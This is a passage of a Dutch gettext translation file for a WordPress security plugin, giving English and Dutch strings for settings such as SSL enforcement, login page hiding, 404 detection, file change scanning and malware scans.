plugin-update meldingen" #: core/modules/wordpress-tweaks/settings-page.php:74 msgid "Disables the file editor for plugins and themes requiring users to have access to the file system to modify files. Once activated you will need to manually edit theme and other files using a tool other than WordPress." msgstr "Deactiveert de bestandsbewerker voor plugins en thema's. Hierdoor moeten gebruikers toegang hebben tot het systeem om bestanden aan te passen. Eenmaal geactiveerd moet je thema- en andere bestanden handmatig aanpassen met een ander programma dan WordPress." #: core/modules/wordpress-tweaks/settings-page.php:73 msgid "Disable File Editor" msgstr "Deactiveer bestandsbewerker" #: core/modules/wordpress-tweaks/settings-page.php:58 msgid "Removes the RSD (Really Simple Discovery) header. If you don't integrate your blog with external XML-RPC services such as Flickr then the \"RSD\" function is pretty much useless to you." msgstr "Verwijdert de RSD (Really Simple Discovery) header. Als je je blog niet met externe XML-RPC diensten zoals Flickr integreert, dan heeft de \"RSD\" functie geen nut voor je." #: core/modules/wordpress-tweaks/settings-page.php:57 msgid "Remove the RSD (Really Simple Discovery) header." msgstr "Verwijder de RSD (Really Simple Discovery) header." #: core/modules/wordpress-tweaks/settings-page.php:28 msgid "Enable XML-RPC" msgstr "Activeer XML-RPC" #: core/modules/multisite-tweaks/settings-page.php:48 msgid "Hides core update notifications from users who cannot update core. Please note that this only makes a difference in multi-site installations." msgstr "Verbergt kern-update meldingen voor gebruikers die de WordPress kern niet kunnen bijwerken. Let op dat dit enkel verschil maakt in multisite installaties." #: core/modules/multisite-tweaks/settings-page.php:47 msgid "Hide Core Update Notifications" msgstr "Verberg Kern-update meldingen" #: core/modules/wordpress-tweaks/settings-page.php:66 msgid "This option will cut down on comment spam by denying comments from bots with no referrer or without a user-agent identified." msgstr "Deze optie zal reactie-spam verminderen door middel van het weigeren van reacties van bots zonder verwijzer (referrer) of zonder een opgegeven gebruikersagent (user-agent)." #: core/modules/wordpress-tweaks/settings-page.php:65 msgid "Reduce Comment Spam" msgstr "Verminder Reactie Spam" #: core/modules/wordpress-tweaks/settings-page.php:116 msgid "Prevents error messages from being displayed to a user upon a failed login attempt." msgstr "Voorkomt dat foutmeldingen worden getoond aan een gebruiker bij een mislukte inlog poging." #: core/modules/wordpress-tweaks/settings-page.php:115 msgid "Disable login error messages" msgstr "Deactiveer login foutmeldingen" #: core/modules/wordpress-tweaks/settings-page.php:124 msgid "This forces users to choose a unique nickname when updating their profile or creating a new account which prevents bots and attackers from easily harvesting user's login usernames from the code on author pages. Note this does not automatically update existing users as it will affect author feed urls if used." msgstr "Dit dwingt gebruikers om een unieke bijnaam te kiezen wanneer zij hun profiel bijwerken of wanneer een nieuwe account wordt gemaakt, wat bots en aanvallers blokkeert om eenvoudig de inlog gebruikersnamen van gebruikers uit de code van auteurspagina's te halen. Let op dat dit niet automatisch bestaande gebruikers bijwerkt omdat dit de URLs van auteurs-feeds aanpast als deze worden gebruikt." #: core/modules/wordpress-tweaks/settings-page.php:123 msgid "Force users to choose a unique nickname" msgstr "Dwing gebruikers om een unieke bijnaam te kiezen" #: core/modules/wordpress-tweaks/settings-page.php:132 msgid "This makes it harder for bots to determine usernames by disabling post archives for users that don't post to your site." msgstr "Dit maakt het moeilijker voor bots om gebruikersnamen vast te stellen door berichtarchieven te deactiveren voor gebruikers die geen berichten plaatsen op je site." #: core/modules/wordpress-tweaks/settings-page.php:131 msgid "Disables a user's author page if their post count is 0." msgstr "Deactiveert een gebruiker's auteurspagina als hun berichtenteller op 0 staat." #: core/modules/system-tweaks/settings-page.php:80 msgid "Prevents scripts and users from being able to write to the wp-config.php file and .htaccess file. Note that in the case of this and many plugins this can be overcome however it still does make the files more secure. Turning this on will set the UNIX file permissions to 0444 on these files and turning it off will set the permissions to 0664." msgstr "Voorkomt dat scripts en gebruikers kunnen schrijven naar het wp-config.php bestand en het .htaccess bestand. Let op dat veel plugins hier toch doorheen komen, maar het de bestanden toch beveiligd. Deze functie activeren zal de UNIX bestandspermissies op 0444 zetten voor deze bestanden en de functie deactiveren zal de permissies op 0664 zetten." #: core/modules/system-tweaks/settings-page.php:79 msgid "Remove File Writing Permissions" msgstr "Verwijder schrijfpermissies voor bestanden" #: core/modules/system-tweaks/settings-page.php:56 msgid "These are very often signs of someone trying to gain access to your site but some plugins and themes can also be blocked." msgstr "Deze zijn vaak tekenen dat iemand probeert toegang tot je site te krijgen, maar sommige plugins en themas kunnen ook geblokkeerd worden." #: core/modules/system-tweaks/settings-page.php:55 msgid "Filter Suspicious Query Strings in the URL" msgstr "Filter verdachte querystrings in de URL" #: core/modules/system-tweaks/settings-page.php:47 msgid "Filter Request Methods" msgstr "Filter verzoekmethodes" #: core/modules/system-tweaks/settings-page.php:32 msgid "Prevent public access to readme.html, readme.txt, wp-config.php, install.php, wp-includes, and .htaccess. These files can give away important information on your site and serve no purpose to the public once WordPress has been successfully installed." msgstr "Voorkom publieke toegang tot readme.html, readme.txxt, wp-config.php, install.php, wp-includes en .htaccess. Deze bestanden kunnen belangrijke informatie over je site weggeven en hebben geen publiek nut nadat WordPress succesvol geïnstalleerd is." #: core/modules/system-tweaks/settings-page.php:31 msgid "Protect System Files" msgstr "Bescherm systeembestanden" #: core/modules/system-tweaks/settings-page.php:64 msgid "Filter out non-english characters from the query string. This should not be used on non-english sites and only works when \"Filter Suspicious Query String\" has been selected." msgstr "Filter niet-Engelse karakters uit de querystring. Dit moet niet gebruikt worden op niet-Engelse sites en werkt alleen als \"Filter verdachte querystring\" geselecteerd is." #: core/modules/system-tweaks/settings-page.php:63 msgid "Filter Non-English Characters" msgstr "Filter niet-Engelse karakters" #: core/modules/system-tweaks/settings-page.php:72 msgid "Limits the number of characters that can be sent in the URL. Hackers often take advantage of long URLs to try to inject information into your database." msgstr "Beperkt het aantal karakters dat kan worden verzonden in de URL. Hackers maken vaak gebruik van lange URLs om te proberen informatie in je database te plaatsen." #: core/modules/system-tweaks/settings-page.php:71 msgid "Filter Long URL Strings" msgstr "Filter lange URL-strings" #: core/modules/system-tweaks/settings-page.php:40 msgid "Prevents users from seeing a list of files in a directory when no index file is present." msgstr "Voorkomt dat gebruikers een lijst van bestanden in een map kunnen zien wanneer er geen index-bestand aanwezig is." #: core/modules/system-tweaks/settings-page.php:39 msgid "Disable Directory Browsing" msgstr "Deactiveer mappen browsen" #: core/modules/security-check/scanner.php:20 #: core/modules/security-check/scanner.php:64 #: core/modules/wordpress-tweaks/settings-page.php:6 msgid "WordPress Tweaks" msgstr "WordPress Tweaks" #: core/modules/system-tweaks/settings-page.php:6 msgid "System Tweaks" msgstr "Systeem Tweaks" #: core/modules/strong-passwords/settings-page.php:42 msgid "Warning: If your site invites public registrations setting the role too low may annoy your members." msgstr "Waarschuwing: als je site publieke registraties toestaat, kan het te laag instellen van de rol je leden vervelen." #: core/modules/strong-passwords/settings-page.php:40 msgid "Minimum role at which a user must choose a strong password." msgstr "Minimale rol waarbij de gebruiker een sterk wachtwoord moet kiezen." #: core/modules/strong-passwords/settings-page.php:10 #: core/modules/strong-passwords/settings-page.php:19 msgid "Force users to use strong passwords as rated by the WordPress password meter." msgstr "Dwing gebruikers om sterke wachtwoorden te gebruiken, zoals aangegeven door de WordPress wachtwoord-meter." #: core/modules/strong-passwords/settings-page.php:36 #: core/modules/strong-passwords/validator.php:9 msgid "Select Role for Strong Passwords" msgstr "Selecteer rol voor sterke wachtwoorden" #: core/modules/security-check/scanner.php:17 msgid "Strong Passwords" msgstr "Sterke wachtwoorden" #: core/modules/ssl/class-itsec-ssl.php:192 msgid "Force SSL for Dashboard - Security > Settings > Secure Socket Layers (SSL) > SSL for Dashboard" msgstr "Dwing SSL voor Dashboard - Beveiliging > Instellingen > Secure Socket Layers (SSL) > SSL voor Dashboard" #: core/modules/ssl/settings-page.php:77 msgid "Note: After enabling this feature, you will be logged out and you will have to log back in. This is to prevent possible cookie conflicts that could make it more difficult to get in otherwise." msgstr "Let op: Wanneer je deze functie activeert, zal je uitgelogd worden en moet je opnieuw inloggen. Dit is om te voorkomen dat er conflicten ontstaan tussen cookies die het anders moeilijker maken om in te loggen." #: core/modules/ssl/settings-page.php:104 msgid "Forces all dashboard access to be served only over an SSL connection." msgstr "Dwingt alle dashboard toegang enkel te laten verlopen via een SSL-verbinding." #: core/modules/ssl/settings-page.php:103 msgid "Force SSL for Dashboard" msgstr "Dwing SSL voor Dashboard" #: core/modules/ssl/settings-page.php:96 msgid "Enables secure SSL connection for the front-end (public parts of your site). Turning this off will disable front-end SSL control, turning this on \"Per Content\" will place a checkbox on the edit page for all posts and pages (near the publish settings) allowing you to turn on SSL for selected pages or posts. Selecting \"Whole Site\" will force the whole site to use SSL." msgstr "Activeert beveiligde SSL-verbinding voor de front-end (de publieke delen van je site). Dit deactiveren zal front-end SSL instellingen uitschakelen. Dit activeren op \"Per inhoud\" zal een checkbox op de Bewerken-pagina voor alle berichten en pagina's (bij de publicatie-instellingen) plaatsen, waarmee je SSL kan inschakelen voor geselecteerde pagina's of berichten. Wanneer je \"Gehele Site\" selecteert, zal de gehele site gedwongen worden om SSL te gebruiken." #: core/modules/ssl/settings-page.php:58 msgid "Whole Site" msgstr "Gehele Site" #: core/modules/ssl/settings-page.php:57 msgid "Per Content" msgstr "Per Inhoud" #: core/modules/ssl/settings-page.php:100 core/modules/ssl/validator.php:12 msgid "SSL for Dashboard" msgstr "SSL voor Dashboard" #: core/modules/ssl/settings-page.php:93 core/modules/ssl/validator.php:10 #: core/modules/ssl/validator.php:11 msgid "Front End SSL Mode" msgstr "Front-End SSL-modus" #: core/modules/ssl/settings-page.php:19 msgid "Are you sure you want to enable SSL? If your server does not support SSL you will be locked out of your WordPress Dashboard." msgstr "Weet je zeker dat je SSL wilt activeren? Als je server SSL niet ondersteunt, zal je uit je WordPress dashboard uitgesloten raken." #: core/modules/salts/settings-page.php:29 core/modules/salts/validator.php:15 msgid "Change WordPress Salts" msgstr "Verander WordPress Salts" #: core/modules/salts/settings-page.php:6 msgid "WordPress Salts" msgstr "WordPress Salts" #: core/modules/malware/class-itsec-malware-scanner.php:151 msgid "An unknown error prevented the scan from completing successfully. The Sucuri server responded with a <code>%s</code> error code." msgstr "Een onbekende fout heeft voorkomen dat de scan succesvol kon worden afgerond. De Sucuri server antwoordde met een <code>%s</code> foutcode." #: core/modules/malware/class-itsec-malware-scanner.php:147 msgid "The scan did not complete successfully. Sucuri sent the following error: %s" msgstr "De scan kon niet succesvol afgerond worden. Sucuri verzond de volgende fout: %s" #. translators: Scan result listing. %1$s is the status. %2$s is the #. description. %3$s is the details link. #: core/modules/malware/class-itsec-malware-scan-results-template.php:179 msgctxt "scan status, scan description, scan details link" msgid "%1$s %2$s %3$s" msgstr "%1$s %2$s %3$s" #: core/admin-pages/page-settings.php:113 #: core/modules/malware/class-itsec-malware-scan-results-template.php:176 #: core/modules/malware/settings-page.php:18 msgid "Show Details" msgstr "Details tonen" #. translators: Scan result listing. %1$s is the status. %2$s is the #. description. #: core/modules/malware/class-itsec-malware-scan-results-template.php:174 msgctxt "scan status, scan description" msgid "%1$s %2$s" msgstr "%1$s %2$s" #: core/modules/malware/class-itsec-malware-scan-results-template.php:126 msgid "Payload:<pre>%s</pre>" msgstr "Lading: <pre>%s</pre>" #: core/modules/malware/class-itsec-malware-scan-results-template.php:111 msgid "Type: %1$s" msgstr "Type: %1$s" #: core/modules/malware/class-itsec-malware-scan-results-template.php:107 msgid "*Known Spam detected" msgstr "*Bekende Spam gedetecteerd" #: core/modules/malware/class-itsec-malware-scan-results-template.php:88 msgid "Malware found on URL" msgstr "Malware gevonden op URL" #: core/modules/malware/class-itsec-malware-scan-results-template.php:86 msgid "Security warning in the URL" msgstr "Beveiligingswaarschuwing in de URL" #: core/modules/malware/class-itsec-malware-scan-results-template.php:70 msgid "Malware" msgstr "Malware" #: core/modules/malware/class-itsec-malware-scan-results-template.php:42 msgid "Blacklist" msgstr "Zwarte lijst" #: core/modules/malware/class-itsec-malware-scan-results-template.php:25 msgid "Error Code: <code>%s</code>" msgstr "Foutcode: <code>%s</code>" #: core/modules/malware/class-itsec-malware-scan-results-template.php:24 msgid "Error Message: %s" msgstr "Foutmelding: %s" #: core/modules/malware/class-itsec-malware-scan-results-template.php:22 #: core/modules/malware/class-itsec-malware-scan-results-template.php:146 msgid "The scan failed to properly scan the site." msgstr "De scan kon de site niet goed scannen." #: core/modules/malware/class-itsec-malware-log.php:243 msgid "Malware Scan Report" msgstr "Malware scanrapport" #: core/modules/malware/class-itsec-malware-log.php:192 msgid "Results" msgstr "Resultaten" #: core/modules/malware/class-itsec-malware-log.php:191 msgid "Action" msgstr "Actie" #: core/modules/malware/class-itsec-malware-log.php:121 msgid "Issues Detected" msgstr "Problemen gedetecteerd" #: core/modules/malware/class-itsec-malware-log.php:113 #: core/modules/malware/class-itsec-malware-log.php:119 #: core/modules/malware/class-itsec-malware-scan-results-template.php:163 msgid "Clean" msgstr "Opschonen" #: core/modules/malware/class-itsec-malware-log.php:111 #: core/modules/malware/class-itsec-malware-scan-results-template.php:165 msgid "Warning" msgstr "Waarschuwing" #: core/modules/malware/class-itsec-malware-log.php:72 msgid "Scan Details" msgstr "Scandetails" #: core/modules/malware/class-itsec-malware-log.php:67 msgid "Problems Found" msgstr "Problemen gevonden" #: core/modules/malware/class-itsec-malware-log.php:63 msgid "Total Scans" msgstr "Totale scans" #: core/modules/malware/class-itsec-malware-log.php:57 msgid "Resource Scanned" msgstr "Resource gescand" #: core/modules/malware/settings-page.php:58 msgid "The malware scanner requires Javascript in order to function. If Javascript is disabled in your browser, please enable it. If Javascript is not disabled, a script from another plugin, the theme, or a broken WordPress file is preventing the malware scanner's script from executing properly. Please try disabling other plugins to see if that resolves the issue." msgstr "De malware scanner heeft Javascript nodig om te kunnen functioneren. Als Javascript is uitgeschakeld in je browser, schakel het dan in. Als Javascript niet is uitgeschakeld in je browser, dan weerhoudt een script van een andere plugin, het thema of een foutief WordPress-bestand het script van de malware scanner deze ervan om correct uitgevoerd te worden. Probeer andere plugins te deactiveren om te zien of dat het probleem oplost." #: core/modules/malware/settings-page.php:55 msgid "Scan Homepage for Malware" msgstr "Scan Homepage op Malware" #: core/modules/malware/settings-page.php:53 msgid "Results of previous malware scans can be found on the <a href=\"%s\">logs page</a>." msgstr "Resultaten van voorgaande malware scans kunnen worden gevonden op de <a href=\"%s\">logboeken pagina</a>." #: core/modules/malware/settings-page.php:52 msgid "This malware scan is powered by <a href=\"%s\">Sucuri SiteCheck</a>. It checks for known malware, blacklisting status, website errors and out-of-date software. Although the Sucuri team does its best to provide thorough results, 100%% accuracy is not realistic and is not guaranteed." msgstr "Deze malware scan wordt aangedreven door <a href=\"%s\">Sucuri SiteCheck</a>. Het controleert op bekende malware, zwarte lijst status, websitefouten en verouderde software. Hoewel het Sucuri team haar best doet om gedegen resultaten te leveren, is 100% nauwkeurigheid niet realistisch en niet gegarandeerd." #: core/modules/malware/settings-page.php:35 msgid "An error prevented the scan from completing as expected. The currently logged in user does not have sufficient permissions to run this scan. You may need to log out of the site and log back in." msgstr "Een fout heeft voorkomen dat de scan kon worden afgerond zoals verwacht. De ingelogde gebruiker heeft onvoldoende rechten om deze scan uit te voeren. Je moet mogelijk van de site uitloggen en opnieuw inloggen." #: core/admin-pages/page-settings.php:112 #: core/modules/malware/settings-page.php:19 msgid "Hide Details" msgstr "Details verbergen" #: core/modules/malware/class-itsec-malware.php:53 #: core/modules/malware/class-itsec-malware.php:72 #: core/modules/malware/settings-page.php:9 msgid "Malware Scan" msgstr "Malware Scan" #: core/modules/ipcheck/settings-page.php:85 msgid "Reset API Key" msgstr "Herstel API-sleutel" #: core/modules/ipcheck/settings-page.php:75 msgid "Receive email updates about WordPress Security from iThemes." msgstr "Ontvang updates over WordPress Beveiliging van iThemes via e-mail." #: core/modules/hide-backend/settings-page.php:43 msgid "Hides the login page (wp-login.php, wp-admin, admin and login) making it harder to find by automated attacks and making it easier for users unfamiliar with the WordPress platform." msgstr "Verbergt de login pagina (wp-login.php, wp-admin, admin en login) waardoor deze moeilijker vindbaar word voor geautomatiseerde aanvallen en het eenvoudiger maakt voor gebruikers die onbekend zijn met het WordPress platform." #: core/modules/hide-backend/settings-page.php:114 #: core/modules/hide-backend/validator.php:31 msgid "Custom Login Action" msgstr "Aangepaste Login Actie" #: core/modules/hide-backend/settings-page.php:89 #: core/modules/hide-backend/validator.php:25 msgid "Register Slug" msgstr "Registratie Slug" #: core/modules/hide-backend/settings-page.php:78 #: core/modules/hide-backend/validator.php:28 msgid "Login Slug" msgstr "Login Slug" #: core/modules/hide-backend/settings-page.php:9 #: core/modules/hide-backend/settings-page.php:68 #: core/modules/hide-backend/validator.php:9 msgid "Hide Backend" msgstr "Verberg Backend" #: core/modules/hide-backend/settings-page.php:93 msgid "Registration URL: %s" msgstr "Registratie URL: %s" #: core/modules/hide-backend/settings-page.php:118 msgid "WordPress uses the \"action\" variable to handle many login and logout functions. By default this plugin can handle the normal ones but some plugins and themes may utilize a custom action (such as logging out of a private post). If you need a custom action please enter it here." msgstr "WordPress gebruik de \"action\" variabele om veel login en loguit functies te verwerken. Standaard kan deze plugin de normale acties verwerken, maar sommige plugins en themas gebruiken aangepaste acties (zoals uitloggen van een privébericht). Als je een aangepaste actie nodig hebt, voer deze dan hier in." #: core/modules/hide-backend/settings-page.php:84 msgid "Note: The output is limited to alphanumeric characters, underscore (_) and dash (-). Special characters such as \".\" and \"/\" are not allowed and will be converted in the same manner as a post title. Please review your selection before logging out." msgstr "Let op: De uitvoer is beperkt tot alfanumerieke karakters, underscore (_) en streepje (-). Speciale karakters, zoals \".\" en \"/\" zijn niet toegestaan en worden omgezet op dezelfde wijze als een berichttitel. Controleer je selectie voordat je uitlogt." #: core/modules/hide-backend/settings-page.php:83 msgid "The login url slug cannot be \"login,\" \"admin,\" \"dashboard,\" or \"wp-login.php\" as these are use by default in WordPress." msgstr "De login URL slug kan niet \"login\", \"admin\", \"dashboard\" of \"wp-login.php\" zijn, aangezien deze standaard door WordPress worden gebruikt." #: core/modules/hide-backend/settings-page.php:71 msgid "Enable the hide backend feature." msgstr "Activeer de verberg backend functie." #: core/modules/404-detection/class-itsec-four-oh-four.php:94 msgid "404 Error" msgstr "404 Fout" #: core/modules/404-detection/class-itsec-four-oh-four.php:74 msgid "too many attempts to access a file that does not exist" msgstr "teveel pogingen om toegang te krijgen tot een bestand dat niet bestaat" #: core/modules/404-detection/class-itsec-four-oh-four-log.php:110 msgid "Last Recorded" msgstr "Laatst Opgeslagen" #: core/modules/404-detection/class-itsec-four-oh-four-log.php:109 msgid "First Recorded" msgstr "Eerst Opgeslagen" #: core/modules/404-detection/class-itsec-four-oh-four-log.php:108 msgid "Count" msgstr "Telling" #: core/modules/404-detection/class-itsec-four-oh-four-log.php:107 msgid "Location" msgstr "Locatie" #: core/modules/404-detection/class-itsec-four-oh-four-log.php:90 msgid "Query" msgstr "Query" #: core/modules/404-detection/settings-page.php:53 msgid "File types listed here will be recorded as 404 errors but will not lead to lockouts." msgstr "Bestandstypes hier getoond zullen worden opgeslagen als 404-fouten, maar zullen niet leiden tot uitsluitingen." #: core/modules/404-detection/class-itsec-four-oh-four.php:114 msgid "404 Errors Found" msgstr "404 Fouten Gevonden" #: core/modules/404-detection/settings-page.php:16 msgid "404 detection looks at a user who is hitting a large number of non-existent pages and getting a large number of 404 errors. 404 detection assumes that a user who hits a lot of 404 errors in a short period of time is scanning for something (presumably a vulnerability) and locks them out accordingly. This also gives the added benefit of helping you find hidden problems causing 404 errors on unseen parts of your site. All errors will be logged in the \"View Logs\" page. You can set thresholds for this feature below." msgstr "404 detectie kijkt naar gebruikers die een groot aantal niet-bestaande pagina's probeert te bezoeken en hierdoor een groot aantal 404-fouten krijgt. 404 detectie neemt aan dat een gebruiker die in korte tijd veel 404-fouten krijgt, ergens naar op zoek is (waarschijnlijk een kwetsbaarheid) en sluit hen daardoor uit. Dit heeft als bijkomend voordeel dat je geholpen wordt bij het vinden van verborgen problemen die 404-fouten veroorzaken op ongeziene delen van je site. Alle fouten worden gelogd in de \"Bekijk Logboeken\" pagina. Je kan drempelwaarden voor deze functie hieronder instellen." #: core/modules/404-detection/settings-page.php:50 msgid "Ignored File Types" msgstr "Genegeerde Bestandstypes" #: core/modules/404-detection/settings-page.php:43 #: core/modules/404-detection/validator.php:12 #: core/modules/404-detection/validator.php:13 msgid "404 File/Folder White List" msgstr "404 Bestanden/Mappen White List" #: core/modules/404-detection/settings-page.php:35 #: core/modules/404-detection/validator.php:10 msgid "Error Threshold" msgstr "Fout Drempelwaarde" #: core/modules/404-detection/settings-page.php:27 #: core/modules/404-detection/validator.php:9 msgid "Minutes to Remember 404 Error (Check Period)" msgstr "Minuten om 404 Fout te Herinneren (controleperiode)" #: core/modules/404-detection/settings-page.php:46 msgid "Use the white list above to prevent recording common 404 errors. If you know a common file on your site is missing and you do not want it to count towards a lockout record it here. You must list the full path beginning with the \"/\"." msgstr "Gebruik de white list hierboven om te voorkomen dat veelvoorkomende 404 fouten worden opgeslagen. Als je weet dat een veelvoorkomend bestand ontbreekt op je site en je wil dit niet laten meetellen voor een uitsluiting, noteer je dit hier. Je moet het volledige pad invullen, beginnend met de \"/\"." #: core/modules/404-detection/settings-page.php:39 msgid "The numbers of errors (within the check period time frame) that will trigger a lockout. Set to zero (0) to record 404 errors without locking out users. This can be useful for troubleshooting content or other errors. The default is 20." msgstr "Het aantal fouten (binnen de controleperiode) dat een uitsluiting zal activeren. Stel in op nul (0) om 404-fouten op te slaan zonder gebruikers uit te sluiten. Dit kan nuttig zijn bij het opsporen en oplossen van fouten. De standaardwaarde is 20." #: core/modules/404-detection/settings-page.php:38 msgid "Errors" msgstr "Fouten" #: core/modules/404-detection/settings-page.php:31 msgid "The number of minutes in which 404 errors should be remembered and counted towards lockouts." msgstr "Het aantal minuten dat 404-fouten moeten worden onthouden en opgeteld voor uitsluitingen." #: core/modules/404-detection/settings-page.php:6 msgid "404 Detection" msgstr "404 Detectie" #: core/modules/file-change/scanner.php:587 msgid " have been changed. Please review the report below to verify changes are not the result of a compromise." msgstr " zijn gewijzigd. Controleer de rapportage hieronder om te verifiëren dat de wijzigingen niet het resultaat zijn van een beveiligingsprobleem." #: core/modules/file-change/scanner.php:587 msgid "A file (or files) on your site at " msgstr "Een of meer bestanden op je site op " #: core/modules/file-change/scanner.php:585 msgid "WordPress File Change Warning" msgstr "WordPress bestandswijziging waarschuwing" #: core/modules/file-change/class-itsec-file-change.php:81 msgid "File Changes Detected" msgstr "Bestandswijzgingen Gedetecteerd" #: core/modules/file-change/scanner.php:340 msgid "Deleted" msgstr "Verwijderd" #: core/modules/file-change/scanner.php:339 msgid "Added" msgstr "Toegevoegd" #: core/modules/file-change/scanner.php:337 msgid "Memory Used:" msgstr "Geheugen gebruikt: " #: core/modules/file-change/scanner.php:336 msgid "Files Modified:" msgstr "Bestanden gewijzigd:" #: core/modules/file-change/scanner.php:335 msgid "Files Deleted:" msgstr "Bestanden verwijderd:" #: core/modules/file-change/scanner.php:334 msgid "Files Added:" msgstr "Bestanden toegevoegd:" #: core/modules/file-change/scanner.php:333 msgid "Scan Time:" msgstr "Scantijd:" #: core/modules/file-change/scanner.php:387 msgid "No files were changed." msgstr "Er zijn geen bestanden gewijzigd." #: core/modules/file-change/scanner.php:369 msgid "File Hash" msgstr "Bestandhash" #: core/modules/file-change/scanner.php:341 #: core/modules/file-change/scanner.php:368 msgid "Modified" msgstr "Gewijzigd" #: core/modules/file-change/scanner.php:364 msgid "Files" msgstr "Bestanden" #: core/modules/file-change/class-itsec-file-change-log.php:181 msgid "Memory Used" msgstr "Geheugen gebruikt" #: core/modules/file-change/class-itsec-file-change-log.php:179 msgid "Files Deleted" msgstr "Bestanden verwijderd" #: core/modules/file-change/class-itsec-file-change-log.php:177 msgid "Check Time" msgstr "Controletijd" #: core/modules/file-change/class-itsec-file-change-log.php:158 msgid "There are no changed files to report" msgstr "Er zijn geen bestandswijzigingen te rapporteren" #: core/modules/file-change/class-itsec-file-change-log.php:146 #: core/modules/file-change/class-itsec-file-change-log.php:180 msgid "Files Changed" msgstr "Bestanden gewijzigd" #: core/modules/file-change/class-itsec-file-change-log.php:140 msgid "There are no deleted files to report" msgstr "Er zijn geen verwijderde bestanden te rapporteren" #: core/modules/file-change/class-itsec-file-change-log.php:128 msgid "Files Removed" msgstr "Bestanden Verwijderd" #: core/modules/file-change/class-itsec-file-change-log.php:122 msgid "There are no added files to report" msgstr "Er zijn geen toegevoegde bestanden te rapporteren" #: core/modules/backup/class-itsec-backup.php:289 #: core/modules/file-change/class-itsec-file-change-log.php:117 #: core/modules/file-change/class-itsec-file-change-log.php:135 #: core/modules/file-change/class-itsec-file-change-log.php:153 msgid "Date" msgstr "Datum" #: core/modules/file-change/class-itsec-file-change-log.php:117 #: core/modules/file-change/class-itsec-file-change-log.php:135 #: core/modules/file-change/class-itsec-file-change-log.php:153 #: core/modules/file-change/scanner.php:367 msgid "File" msgstr "Bestand" #: core/modules/file-change/class-itsec-file-change-log.php:110 #: core/modules/file-change/class-itsec-file-change-log.php:178 msgid "Files Added" msgstr "Bestanden toegevoegd" #: core/modules/file-change/class-itsec-file-change-log.php:90 msgid "MB" msgstr "MB" #: core/modules/file-change/settings-page.php:125 msgid "File types listed here will not be checked for changes. While it is possible to change files such as images it is quite rare and nearly all known WordPress attacks exploit php, js and other text files." msgstr "Bestandstypes hier opgegeven zullen niet worden gecontroleerd op wijzigingen. Hoewel het mogelijk is om bestanden als afbeeldingen te wijzigen, komt het zelden voor en bijna alle bekende WordPress aanvallen maken gebruik van php, js en andere tekstbestanden." #: core/modules/file-change/settings-page.php:99 msgid "Splits file checking into 7 chunks (plugins, themes, wp-admin, wp-includes, uploads, the rest of wp-content and everything that is left over) and divides the checks evenly over the course of a day. This feature may result in more notifications but will allow for the scanning of bigger sites to continue even on a lower-end web host." msgstr "Splitst de bestandscontrole in 7 blokken (plugins, themas, wp-admin, wp-includes, uploads, de rest van wp-content en alles dat over blijft) en verdeelt de controles gelijkmatig over een hele dag. Deze functie kan resulteren in meer meldingen, maar maakt het mogelijk om scans van grotere sites door te laten gaan zelfs bij web hosts van mindere kwaliteit." #: core/modules/file-change/settings-page.php:98 msgid "Split file checking into chunks." msgstr "Splits bestandscontrole in blokken." #: core/modules/file-change/settings-page.php:141 msgid "Disabling this feature will prevent the file change warning from displaying to the site administrator in the WordPress Dashboard. Note that disabling both the error message and the email notification will result in no notifications of file changes. The only way you will be able to tell is by manually checking the log files." msgstr "Deze functie deactiveren zal voorkomen dat waarschuwingen over bestandswijzigingen op het WordPress Dashboard aan de sitebeheerder worden getoond. Let op dat het deactiveren van zowel foutmeldingen als de e-mailmeldingen zal resulteren in geen enkele melding van bestandswijzigingen. De enige manier waarop je dit dan kan zien is door handmatig de logboeken te controleren." #: core/modules/file-change/settings-page.php:140 msgid "Display file change admin warning" msgstr "Toon beheerder waarschuwingen over bestandswijzigingen" #: core/modules/file-change/settings-page.php:107 msgid "Select whether we should exclude files and folders selected or whether the scan should only include files and folders selected." msgstr "Selecteer of we geselecteerde bestanden en mappen moeten uitsluiten of dat de scan enkel de geselecteerde bestanden en mappen moet omvatten." #: core/modules/file-change/settings-page.php:106 msgid "Include/Exclude Files" msgstr "Bestanden In-/Uitsluiten" #: core/modules/file-change/settings-page.php:69 msgid "Include Selected" msgstr "Geselecteerde Insluiten" #: core/modules/file-change/settings-page.php:68 msgid "Exclude Selected" msgstr "Geselecteerde Uitsluiten" #: core/modules/file-change/settings-page.php:113 msgid "Exclude files or folders by clicking the red minus next to the file or folder name." msgstr "Sluit bestanden of mappen uit door op het rode minteken naast de bestands- of mapnaam te klikken." #: core/modules/file-change/settings-page.php:133 msgid "Notifications will be sent to all emails set to receive notifications on the global settings page." msgstr "Meldingen zullen worden gezonden aan alle e-mailadressen die ingesteld zijn voor het ontvangen ervan op de globale instellingen pagina." #: core/modules/file-change/settings-page.php:132 msgid "Email file change notifications" msgstr "E-mail bestandswijziging meldingen" #: core/modules/file-change/settings-page.php:61 msgid "Even the best security solutions can fail. How do you know if someone gets into your site? You will know because they will change something. File Change detection will tell you what files have changed in your WordPress installation alerting you to changes not made by yourself. Unlike other solutions, this plugin will look only at your installation and compare files to the last check instead of comparing them with a remote installation thereby taking into account whether or not you modify the files yourself." msgstr "Zelfs de beste beveiligingsoplossingen kunnen falen. Hoe weet je of iemand je site is binnengedrongen? Je weet het omdat zij iets zullen wijzigen. Bestandswijziging detectie zal je vertellen welke bestanden zijn gewijzigd binnen je WordPress installatie, je hiermee op de hoogte stellend van wijzigingen die je zelf niet hebt uitgevoerd. In tegenstelling tot andere oplossingen, kijkt deze plugin alleen naar je eigen installatie en vergelijkt deze met de vorige controle, in plaats van je bestanden te vergelijken met een andere installatie, daarbij rekening houdend met eerdere wijzigingen die je zelf hebt uitgevoerd." #: core/modules/file-change/class-itsec-file-change.php:153 msgid "Automatic file change scanning is triggered by a user visiting your page and may not happen exactly at the time listed." msgstr "Automatische bestandwijzigingen scans worden geactiveerd wanneer een gebruiker je site bezoekt en kunnen daardoor afwijken van de opgegeven tijd." #: core/modules/file-change/class-itsec-file-change.php:152 msgid "Next automatic scan at: " msgstr "Volgende automatische scan op:" #: core/modules/file-change/class-itsec-file-change.php:147 msgid "Tomorrow" msgstr "Morgen" #: core/modules/file-change/class-itsec-file-change.php:145 msgid "Today" msgstr "Vandaag" #: core/modules/file-change/class-itsec-file-change.php:104 msgid "File Change History" msgstr "Bestandswijzigingen geschiedenis" #: core/modules/file-change/settings-page.php:137 #: core/modules/file-change/validator.php:29 msgid "Display File Change Admin Warning" msgstr "Toon beheerder waarschuwingen over bestandswijzigingen" #: core/modules/file-change/settings-page.php:129 #: core/modules/file-change/validator.php:28 msgid "Email File Change Notifications" msgstr 